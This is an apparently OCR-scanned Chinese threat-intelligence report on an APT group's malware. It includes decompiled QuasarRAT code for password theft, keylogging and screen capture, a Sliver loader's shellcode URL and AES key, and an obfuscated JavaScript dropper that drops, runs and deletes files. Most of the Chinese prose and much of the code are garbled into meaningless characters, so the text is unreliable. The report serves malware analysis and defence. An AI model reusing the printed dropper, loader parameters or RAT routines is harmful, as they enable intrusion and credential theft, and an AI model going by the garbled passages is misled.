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u:00000001400040E3 49 89 E6

u:00000001400040E6 48 81 EC AP @1 @0 ee
u:00000001400040ED 49 89 ES

u:00eeee01400040F0 49 BC 02 €0
u:00000001400040FA 41 54

u:00000001400040FC 49 89 E4

EnEnEnEnEnEnininin
£Ezss=zzzsz==
T N M O N M

pro B P
pop rbp
mov ri4, '23_2
push ri4
rl4, rsp
sub rsp, 1Aeh
rl3, rsp
mov r12, eDBD eee2h ; 186! .219: 9008
push ri2
oV 12, p

K] 17. Stager R IERET C2 ik 55 7tk A [

2.6.3 QuasarRAT K G

MD5 cc1cdb893f6h4a00d65bbef2794b0499
A4 system.exe
KA 356352 7
KA A
= C#
c2 1.*.*.214:9000

QuasarRAT ;&

Windows B1EZ ST &€ T —&EHF CH
SEWNFIRETBER AL (RAT) ,

A&z MmaniaEs b,

Gl AL A E . UHFEE LR R HRES.

F 4K QuasarRAT AW, HRBZTT

g AL H

{# | Ide4dot %E«i?&iﬁlﬂﬂﬁﬁiiﬁﬁﬁ@ﬁ%)ﬁ, RETHE

SRR AT,

— S RPEB| KEE R, flin C2 RS BH.
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WAz T)J‘T/X 75|3H Hi Jf'é;

] <= o0 < GG

1 // Colsershadmin'DesktophsampletsrchccledbB93£6b4al0d65bbef 279400459
Jf Client, Version=1.3.0.0, Culturesneutral, PublicEeyToken=null

Ao 08 USEEYE S & wFEBD S W dE T2\ LER4SET iR ERWE4BD. Nain
/7 BAEE: BADFRC3Z (2024-00-10 2:19:30)

using System;
u51ng Systern. Dlagnustlcs

n 1 I

K 18, BRE AL EER QuasarRAT FEA

ZAREPATHAR YT B R TR W ER S HTHRE,
UFRBARESEL, 0 C2 RS, #fEwmD. % EHA
DR b6 %, wE 19 ir., XERERLATEL
HuEE C2 RysmEs:, HEHEEnBef, wasd
WAT. BEGIE., 45 GitHub F % L QuasarRAT I H JE(L
@E$%Xﬁ%mﬁﬁwﬁﬁ%ﬁ@ﬁﬁﬁ%Aﬁ ER &)

HERFT A GHERFRRDER—F. #—F KA,
AL EAARELEGE, LHRETHEIRHEFZTEREMN
Br#, HHATRmAE. BAEMANFRIE. ZAGBEEET
B A B R SR e, 20 B

200 =] O Ee LD

Eklf



public static bool smethad 00
{

if (string. IsNullOrEmpty (GClass0. string_0))
{

return false;
1

GC1lass30, smethod_0(GClass0, string_9);
GClass. string 10 = GClass30. smethod 6(GClass0. strins 10):
GClass0. string 0 = GClass20. smethod 6(GClass0. strine 0)
[Class0. string_1 = GClass20. smethod_6(GClass0. string_1);
GClass0. string 5 = (GClass20. smethod 6(GClass0. strins 5)
GClass0. string 6 = (GClass20. smethod 6(GClass0. strins &)
GClass0. string 7 = GClass20. smethod 6(GClass0. strins 7)
GClass. string 8 = (GClass20. smethod 6(GClass0. strins 8)
strinsg 11 = GC 30, smethod_6(

-~

&

.string_11);

sO.string_10 "System”

sO.string O "1.3.0.0"

s0.string 1 "1 214:9000;"

s0.string 5 “SubDir"

s0.string 6 "Client.exe"

s0.string 7 "QSR MUTEX whaSGewbWORYOxOMC"
sO.string_8 "Quasar Client Startup"

K 19. i3k QuasarRAT A H il 25 A 5 c EACHS

TTaTH — -—_—
;e 770 public static void ERERRGANBY(GetTecktop command, GClas=33 client)
if (type == typeaf (DoClientDisconnect)) i ! ) .
[ 772 string text = GClass43, smethod_2(GC1asz48. smethod_1{command. fonitor));
Class0. gelass3d 0. method 210) 773 if (GClassB7. unsafeStreanCadec 0 == mull)
- - 7T [
return;
3 775 GClass57. unsafeStreantodec_( = new UnsafeStrearCodec (command. (uality, comma:
if (type == typeof (DoClientReconnect)) e ’ . .
r 7T if (GClass57.unsafeStreanCodec 0. Imazeluality != command. Quality || GClass57.uns
(
Classh, gelass24_0. method_120); e Lo
return ;;g if (6Class57. unsafeStreanCodec 0 !'= null)
] {
1
. . . . 781 GClassET. unsafeStreanCodec_0. Dispose();
1[1" (type == typeof (DoClientlUninstall)) 782 )
601 ass57. snethod 17((00011 entlninstall ) packet, clie 783 GClassbT. unsafeStreanCodec_0 = new UnsafeSireanCodec (command. Quality, comma:
. - > 784 ]
| Teturn, 785 BitmapData bitmapData = null;
it (type == typeot (DokskElevate)) e Bitnap bitmap = null;
i ar try
(
6C1ass57. smethod_43 ((DniskElevate)packet, client); a3 N ; X
return 739 | bitmap = GClass48. smethod 0(command. Monitor)
3 . 790 !\ bitmapData = bitmap.LockBits(new Rectangle(0, 0, bitmap.Vidth, bitmap.Height)
if (typs == typent (GetDeskiop)) /y/v | using (MemoryStrean memoryStream = new VempryStream())
; P =t N
ClassE7. smethod 29((GetDesktop)packet, client); ;gi : if (GClass57.unsafeStreanCodec_0 == null)
return; H N . -
1 795 H throw new Exception("StreamCodec can not be null. ”);
it (type == typent (GotVeboan) ) s : )
[ 797 : GClass57. unsafeStreanCodec_0. Cadelmage (bi tmapData. Scanl, new Rectangle(0,
(GC1ass57. smethod_12((GetYebcan)packet, client) 798 : new GetDesktopResponsze (memoryStream ToArray (), GClass57. unsafeStreanCodec
) - ' 799 L)
| retum; 800 J
] .
it (ire = trpent Grcosses) i R
’ [

20. 3R QuasarRAT FEASFL AT HE 55 1] 4% D g
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HEN, FRBRERNRENEELEE C2 RH5H. K&
FAURRE EZFWIKFAED. WRILK. BRNEFHRE
B &, #HWHATE W ERELiEH—F 5%, w21 T,

Tf (typs == typeof (DoRenaneRegistryValue)) e PTTvaLe Sedied craes Clessoo
: t
6CLass57. smethod_6( (DofenansReg: stryValus)packet, clid] 1721 Jf Token: 0x0B0006E7 RID: 1767 RVA: 0x00016F24 File Offset: 0x00016124
return - 1722 internal void methad 00
] ' 1723 i
if (type == typeof(DoChanzeRezistryValus)) %;gé try
i 0
L
GClase5T. smethod_7((DoChanzeRezistryValuc)packet, clig] 1720 int num = 1; ) .
- 1727 if (IDirectory.Exists(fevlozzer, LogDirectory))
} ' 1728 r
Jirf (typs = typoot o BB IE-rlons)) 1723 © mew Getkeylozgerlogafesponsz (7, new bytelo], <1 <L ™, mm, 0. Exeente(
[ P )
GC1ass57. smethod 33 ((Getleylazerlozs) packet, client) = else
. 0
§ o Tem 1733 FileTnfo[] files = new Directorylnfolfeylogger. LogDirectory). GetFiles();
if (type == typeof(GetPasswords)) %;gé irf (files. Lenzth == 0)
i r
CC1ase57. smpthad 280 (CetPacauoris)packet, client) 1736 new GetkeylozzerlozsResponse (47, new byte[0], -1, -1, **, num, 0).Exec
= ’ ' 1737 )
't
;T 1738 e
F S S W S UL S PR 1739

P 21. QuasarRAT A S84 i sy &

Z KNG fE 9% % B Chrome. Opera. Yandex . Internet
Explorer. Firefox % % A% JH | Wi %40 FileZilla. WinSCP 4
FTP & Fom H e A F & oA, B DT E#H KUK
BEXTRERGEHNAP A0 4, FEEZE C2 RF&E,
R Bt — P A H ﬁlﬂéﬁz‘iﬁiﬁi’ilﬁc%, W 22 iR,

c = = = == ey

7

GC1ass57. smethod_7((DoChangeResistryValue)packet, clid 743 pubhc static vmd smathud ZS(GEtPaSSWDrdS packet GClasESS cllent)
- Tdd {
return,
] 745 List{iClass56> list = new List<GClass56>();

if (type == typeof(Getbeylozgerlogs)) 746 list. AddRange (GClass13. smethod_00));

{ 747 1ist, AddRange (GC1ass22. smethad_00));
GC1asshE7. smethod_33((GetEevlozzerlozs)packet, client) 748 1ist. AddRange (G01ass22, smethod 0())
return; 749 1ist. ddRange (GClass19. smethod_00));

. y‘ list. AddRange (GC1lass14. smethod_0());
it (type == typeot (GetPassiords)) tl list. AddRange (60125524, smethod _00));
: (0 ) A ; 752 1ist. AddRange (GC1ass26. smethod 0());
GClass??. smethod 28 ( (GetPasswords)packet, cliient); 753 List<string> 1ist? = new List<string>():
K rehen, 754 foreach (5C1assEB gelass in list)
- 755 {
1rf (type == typeof (ReverseProxyComect) || type == typeof (F 756 ‘ siring item = string. Format(” (0} (4} {1} {4 {2} [4) (3", new obje:
' R = ' {

GC0lass2, smethod_O(client, packet); 758 [ selass. Username,
N return; 758 : gclass. Paseword,
if (type == typeof (GetConnections)) 760 ; gelass. URL, ) )
( Tl ! gclass. Application,

G01ass57. smethod_8(client, (GetComnections)packet); ;2% : ; ) "3ES”

RN

return,

€] 22. QuasarRAT A T 3R HLH| VL2 FTP g Pyt

ARG A& R BN X EE @, BB, £,

23



T#. MRFPATERE. IHFZFTUER C2 RE Bk
WHEZEXENAXHRR, FRERTESAN LM EER
w23 Frow.

- o -
if (type == typeaf (CetDirectory)) 1576 GClass57. semaphore_0. VaitOne O ;
t 1577 try

(01ass5T. smethod_18((GetDirestory)packet, client); 1578 t

return 1579 GClassd gelass = new GClassf (this, dolwmilgadrile 0. RemotsPath);
| 1580 if (gclass. MaxBlocks < 0}
if (type == typeof (Dolownloadiile)) 1581 t
[ 1582 throw new Exception(gclass. Lastfrror);

GC1ass5T. smethod_19 ((Dellowaloadiile) packet,| client) J

return —] 1584 for (int 1 = 0; i < gelass NaxBlocks; i++)
i ' 1585 {
J-lf (type == typeot (Dolploadiile)) 1586 © it (Ithis. gclass33 0, Connected || 6C1assE7. dictionary L. ContainsKey(th
; 1587 o

(ClassET. smethod_21((DoliploadFile)packet, client]; }ggg i break

an : i

jooTE— 1530 | bytel] block:
if (type == typeof (Dollouselvent)) 1591 ! if (lgelass.method_1(i, out block))
[ 1592 .

6C1ass57. smethod_20((Dollouselvent)packet, client); %ggi i throw new Exception(eclass. Lastirrer) ;

an ! H
e, 1595 ! new DolJEWRIBAEF i 1eResponse (this. doDEMIGARFi1e_0. ID, Path. GetFileName(

K] 23. QuasarRAT A5 FAE a4
2.6.4 Sliver KL

MD5 61c42751f6bb4efafec524be23055fha
P auto-download.zip
K 122368 =4
HRM AR
BE C#
C2 158.*.*.174:443

AR LFR A — A2 55 3805 8 .net 4mi¥ 89 PE X4, 4o
K 24 From.

24. TRIEIIAR G I A

AT R RETRIEG, NIk B E 25 frow.
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1 Module>.

‘iﬁ%i%ﬂ‘]ﬁﬁ%
ZARKE JATH, 2% MEME N T H URL
(https://158.% *.174:443/mp4/ads.mp4 ) F1 AES #E % FT 5 E tY
KEY ( LgUmeMnmUpRrCCRB ) Fu 1\Y
(nStxRW406TNHcKBx ) , #& AR % & T # K X, I
XA HE AT AES M, BT )R 48 J5 15 2| Shellcode,
P 6 22 442 /& 51 Shellcode, [ 26 BT 7.

K 26. hn#k Shellcode

Shellcode %13 H Wk T — % & 3T fm & 0 X+ # 7,
Shellcode ERATHEFHZHENEFR MEFLNADE)T,
wE 27 B 7=

25



0000000002CD1280| 00 00 00 00|00 06 DA D1)4D SA 90
0000000002CD1290| 00 00 00 00|FF FF 00 00|8E 00 00
0000000002CD12A0| 40 00 00 00|00 00 00 00|00 00 00
0000000002CD12B0| 00 00 00 00|00 00 00 00|00 00 00
0000000002CD12C0| 00 00 00 00|80 00 00 OO|OE 1F BA

0000000002CD1200| 21 B8 01 4C|CD 21 54 68|69 73 20 70|72 6F &7 72 Li1This progn
D00000D0DDZCD12ED| 61 6D 20 63|61 6E GE GF |74 20 62 65|20 72 75 GE|am cannot be rur
0000000002CD12F0| 20 69 6E 20|44 4F 53 20|60 6F 64 &5 |2E 0D 0D 0A| in DOS mode....
0000000002CD1300| 24 00 00 00|00 00 OO0 00|50 45 00 00|64 86 06 OO
0000000002CD1310| 00 00 00 00|00 04 DA 01|00 00 0O OO|FO 00 22 02
0000000002CD1320| 0B 02 03 00|00 44 Al 00|00 22 04 00|00 00 0O OO
0000000002CD1330| E0 DO 05 00|00 10 00 00|00 00 40 00|00 00 0O 0O|:
0000000002CD1340| 00 10 00 00|00 02 00 00|06 00 01 00|01 00 0O OO
0000000002CD1350 |06 00 01 0000 00 00 00|00 30 11 01|00 06 0O OO
0000000002CD1360| 00 00 00 00|02 00 60 81|00 00 20 00|00 OO0 OO OO
0000000002CD1370| 00 10 00 00(00 00 00 00|00 00 10 00/00 0O OO0 OO
0000000002CD1380| 00 10 00 00|00 00 00 00|00 00 00 00|10 00 00 00
0000000002CD1390| 00 00 00 00|00 00 00 00|00 30 OE 01(90 04 00 00
0000000002CD13A0| 00 00 00 00|00 00 00 00|00 00 00 00|00 00 0O OO
0000000002CD13B0| 00 00 00 00|00 00 00 00|00 40 OE 01|A2 D8 02 00
0000000002CD13C0| 00 00 00 00|00 00 OO0 00|00 OO0 00 00|00 00 0O 00
0000000002CD1300| 00 00 00 00|00 00 00 00|00 00 00 00|00 00 OO OO
0000000002CD13E0| 00 00 00 00|00 00 00 00|00 00 00 00|00 00 OO OO
0000000002CD13F0| 40 20 02 01|48 01 00 00|00 00 00 00|00 OO0 OO OO
0000000002CD1400| 00 00 00 00|00 00 00 00|00 00 0O 00|00 0O DO OO
0000000002CD1410| 2E 74 65 78|74 00 00 00|5D 43 Al 00|00 10 0O 0O
0000000002CD1420| 00 44 A1 00|00 06 00 0O0|0DOD 00 00 00|00 0O 0O OO

K] 27. Shellcode fi# 25 3 n#k Sliver K L2+

AN B EHAZE— Sliver mE AL F. Sliver
E—NFFENET 4 C2 #24 (https:/github.com/BishopFox/
sliver/) , ¥ #F Windows. Linux. macOS % % #M#1E % 4,
FAXFLMBEEHN. EaE XHRE. #REBE. ®
FRR. HBEN. ERBF. &F. TREFAT Shell 4.

PR 4h, Sliver AR 43 78 A R B B, 28 W DARS A4 ik B
AL R4 HATRE. W 28 i, B EHRIFRBIRE
BIAEA, FAER AR RN RE R, TH KA N

& APT AL LR EFAR, TUEIBHNELTE
HAT TR RN, RAZAF C2 K 158.%.%.174,

26—



5] . rdata: 0 00000042 o github, con/bishopfox/sliver/protobuf/sliverph. (#*PivotHello) . Reset
81 . rdata:0o 00000043 c github. com/bishopfox/sliver/protobuf/sliverph. (#FivotHelle). String
5] . rdata: 0 00000048 o github, con/bishopfox/sliver/protobuf/sliverph. (#PivetHelles) . CetPeerlD
[s) . rdata:0 00000047 ¢ github. com/bishopfox/sliver/protobuf/sliverpb. (#FivotHello). Descriptor IS
5] . rdata: 0 00000049 c github, con/bishopfox/sliver/protobuf/sliverph. (#PivotHelle) . Protolessaze
5] . rdata:0~ 00000049 [ github. com/bishopfoxs/sliver/protobuf/sliverph. (#PivotHello). ProtoReflect
5] . rdata: 0= 00000049 c github, con/bishopfox/sliver/protobuf/sliverph. (#PivotHelle) . GetPublicKey
5] . rdata:0 00000044 [ github. com/bishopfox/sliver/protobuf/sliverph. (#PivotHello). GetSessionKey
5], rdata: 0 00000052 C  |_github. com/bishepfoxs/sliver/protobuf/sliverpb. (*PivotHello).GetPublicKeySignature
[s] .rdata:0= 000DOOLE c ZVINPZ_tV.|(#PivotHelle) . Reset
[s] .rdata:0= 0000001F C ZVINPZ_tV. |[(#*PivotHelle). String
5] .rdata:0= 00000022 c ZVIMPZ_t¥. (#PivotHelle) . GetPeerID
[5 .rdata:0= 00000023 [ ZVINPZ_tV. (#PivotHello). Descriptor
5] .rdata:0= 00000025 c ZVIMPZ_tV. (#PivotHelle) . Protolessage
[ .rdata:0= 00000025 C ZVINPZ_tV.|(#PivotHelle) . ProtoReflect SENEE
(5] .rdata:0- 00000025 C ZVINPZ_tV. [(#PivotHello). GetPublicKey mEE
[£ .rdata:0= 00000026 o ZVINPZ_tV. |[(#PivotHelle) . GetSessionKey
[s] .rdata:0- 0000002E c ZVIMPZ_tV, (#PivotHelle) . GetPublicKeySignature
. 12 M 4= 7 VB Y
B 28. ki %) Sliver K AR FFREAT T IRIE
2.6.5 GotoHTTP
MD5 a3736b69a88da7d2472cec131b10c50e
M4 gotohttp_x64.exe
e

K 3166632 ¥l

> 1 e A

HM iy E AT

GotoHTTP & —H R EAM A B FEH T, FE
F&4#4E, & Windows. macOS #1 Android % % Ei54T,
APadREHERRE P miaBERAIEREE, BT
GotoHTTP B A 4i. REMMERZESFA, HES
AR AT P THEFH) ZER, R a8RE
HFWATAEERRNHW T EES. K& GotoHTTP 4,
JumpDesktop.  “Ia] H 3%” £ 7 Z ARy F e E T A
WY H G APT AL EREE I F M A .

A tAREZ A ERBMRE TR, & APT 4T Y
| Poison Ivy. GhOst. AresRemote. XRAT 25 JF J§ 5 %, % /N JF
ARG fomis TR, A FHE.

2.7 I &
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B A E APT 4L 5 X B 5] o o 0 R 2 o R
ST, AR X LGB RIS LR BB R P O
R TRBEAT Y. EERIAE: —RBETEHEA
ORI R#ATRE, 8 ERATERAARAKRT, &
K EH” RAME. ZEERBATERNTE, &%
FFBEITRNAG . K. TEMELSENRER, URA
Tr o P 28 B0 SRR FERE, Bz B o P28 B A B R T
K. ZRRHFBEENH, LAHZEFE X oy &
MR EEETE, 2FRAEE, RUHXAAKREARE
W AR, HEARAAS. wHE 29 fix, & APT 44
WA B TR R W I R E X FRHE.

<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">

1
2
3 </head><body>AHAHAHAHAHAHA hello World
4 <script language="JavaScript">

5 — wgn. — mpn,

var a = "d";var b = "b";var ¢ = "p";var d = "a";var e = "1";var f = "f";var g = "g";var h = "h";var 1 = "i";var j = "J";
var file = " FFE & 2020 GENREER TFESTY ABH . rtf;  //refETE

7 | var Bfile = "svchost_.tmp"; £ PH5 18

8 | var LFile = "2020%F FEMEESTEAED . rtf.1nk";  //LNKETR

5 | var NFile = "20264F FAMEESTHEESD.otf;  [/BRLKEREE

18 var all_path = path + file;

11 r = x+n+at+aa+l+p+l;

L2 var sleep = rrr+qq+eet+bb+qg+x+ee+qq+"choi"+x+l+ee+bb+t+ee+"5 /d v /n "+cc+ee+m+"ul"
12 wvar runrun = rrr+" "+qgq+bb+xtee+qg+TT+t+n+qg+c+fT+gqraga+Bfile;
11 wvar cp = rrr+ee+bb+x+eet+x+o+c+y+eet+aatraga+file+eet+aat+aga+iFile;

wn
o

e = rrrieetbbtx+eetatltereetlFile

L6 var wws = Ga+Ge+x+gg+r+i+c+t+qgraa+Ge+gg+h+l+e+qgte;
= new ActiveXObject(wws);

so_080 =

£
& wvar f fso.run(all_path); //drop

19 wvar fso_111 = fso.run(sleep,®,true); //sleep

28 var fso_333 = fso.run(cp,®,true); //copy ori file to New file
’1 var fso_444 = fso.run(de,®,true); //delete LNK file

2 var fso_222 = fso.run(runrun,®,true); //run

y 1f.close()

6 <span id="sbmarwbthv5"></span></body></html>

P 29. 848 R T 3R A B AT S B 3 1 S SRR
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op

“RIBEE” WLEERRA
“HEBE” 2R “EFHAmAeERES , &
LEEHENITEN “FWEM” , RILT 2017 F7 A
, AAZXENEFNREY R, HWAERKETEE LA
“EE” RN WEHIN., ZHRETSREEET.
‘B SREMEEARNE, WIAFERA “6 & RMHE
LN

30 KEHX

311 “ERF#HE—BERER” W (2001 F£277)

1964 %9 Fl 16 B, & & E K 5% ZF A& F A 38 1A I i
I ‘B —#EEER , AR FEENERE ZF
K., UHEBNEEETNERERELLN S .

3.1.2 “EHEp#HERE T ARER” BH (2001.1 Z 2004.4)

2000 4 1 A 1 H, @@FFZIkL “E ARG TN
HEH , ARCBEFRABANERRZHE. WER
et EEEDH, FHRATNEEE2e. WELLEMSN
. BTRELES. REELYRE - NAELHNEL LW
FEEfy, RETEEMHE.

3.1.3 “EFHSFEARBPREAER T BH (20044
2017.7)

2004 44 F 20 B, “i@BfE WINFEHER” KA “E
SHAMFRAERFC” , AETEEH “SRAE , &

> 1]
:[

><\,

2%
H

[E—

— 29 __



BRI —H R FIERA . BT TFRAITR. BHEEKS
CHEATMAIE S E S Fo, B AL 8y )| IR A
“EHBEMNEF R, AER G —INHEW AT A,

314 “ERFHSHEAFRERERER” BHH (20177
Z 2022.1)

REX LG, T 2016 /Y “WRAER 1.07 Kk,
FHBENEERLINE. 2017 £ 7 A 1 B, EEXEXH
CRBAER PN AN CE SRR RS F R
W, AFEEFRRHEAL. ZHEEBRREBETEES
“HBHRAE” , BEENDEREFES AT HRE, *—F
miLEENERNE.

3.1.5 “E#HLEEERER BH (20221 £4)

2021 4, REXBFEREY “HERHEZ2.07 K.
2022 F 1 A 18, “BEF#HFERARTFEEFRER EX
A CEHAERERES  AETE LY REHH,
B “EHHK 5, AFE SRR AF.

3.2 WAL

32,0 AHEM., RT\EELRPE “(EBEHH UL
EY 7, CRIEEE” TREAMNLR R EAA A — A M
Fregdl e, HAXBEANEZEEPAETNBEEL. WL
Bl AL A TIER A, 28 THFRMBEEIRA . PR IKIA
W E R R, Ho, FOIRGEE AR BRPAEL HE A AR — KA



PSR S KB R F = KBA. o3 F A bk A Aw
A TTHCRAE N A . P25 B B BN o4 8 7 47 H A0 I 2 1 e K PA
HR RAKADHER. KK A ERE.
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EERE: SBAREE, LARREBF
BETERL. BUAERE

[ jame: e
BiREE: IEEOR

ISEIAR [ smx: maass

| ST SRR

BISRK: AXELER

SEWFIER). EERRE: FEES )\ +FEBSER. 288
ERT RIS TR, MBREENIS, HARPTIRERAER
BUEEX., ERTEALFRESEESNEERESH.

ZER
.t

EifaEEat FRIEESIEE— A

=

FERBESIEE AR

2

BEHUBIEERA
BRBESEE=AM

TCEERIBEFLIA

S IERIBEFILRA

BEFEE). TEREE: 2REARPHR. RESTEINE, B
FRIBEFSF=AME, PUTRIBTARS4H, BRSTEMIER
BERGRUSEE, ERTIFAEERIEENIRRSSER.

MBI FPL

MIEE{ER AL PRLE R AIA KBRS
RRLBIEALEEA R

fEEFR

RAKGHER ). TEIREE: 2REAPDLR. TIERSEIEBRFIH.
BFZE. BFRE ERLFARNBKBMEFTT. RTit.

)
e iiE B
EBF R
H=
TREEBAIA
IR
FHEEALE

[EEpkL

K30, & “BHEBE” 45N
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